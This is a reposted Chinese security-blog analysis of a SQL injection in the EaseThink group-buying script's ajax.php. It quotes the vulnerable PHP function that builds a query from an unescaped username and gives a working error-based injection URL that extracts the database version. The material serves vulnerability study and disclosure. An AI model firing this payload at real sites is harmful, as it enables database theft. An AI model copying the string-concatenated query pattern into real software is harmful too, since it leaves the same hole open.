易想团购ajax.php SQL注入分析和Exp

admin 2021年4月3日19:22:32评论70 views字数 1162阅读3分52秒阅读模式

在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。

* 验证会员数据
	 */
	function check_user($field_name,$field_data)
	{
		//开始数据验证
		$user_data[$field_name] = $field_data;
		$res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据
		if(trim($user_data['user_name'])==''&&$field_name=='user_name')
		{
			$field_item['field_name'] = 'user_name';
			$field_item['error']	=	EMPTY_ERROR;
			$res['status'] = 0;
			$res['data'] = $field_item;
			return $res;
		}
		if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id  ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。
		{
			$field_item['field_name'] = 'user_name';
			$field_item['error']	=	EXIST_ERROR;
			$res['status'] = 0;
			$res['data'] = $field_item;
			return $res;
		}

Exp:

http://192.168.9.109/easethink_free_v1.4/ajax.php?act=check_field&field_name=user_name&field_data='and/**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23

摘自:http://www.freebuf.com/vuls/8558.html

留言评论(旧系统):

小明 @ 2013-04-22 03:54:24

又是一个被万恶的GPC拦截的鸟蛋漏洞

本站回复:

╮(╯_╰)╭

文章来源于lcx.cc:易想团购ajax.php SQL注入分析和Exp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:22:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   易想团购ajax.php SQL注入分析和Exphttp://cn-sec.com/archives/321977.html

发表评论

匿名网友 填写信息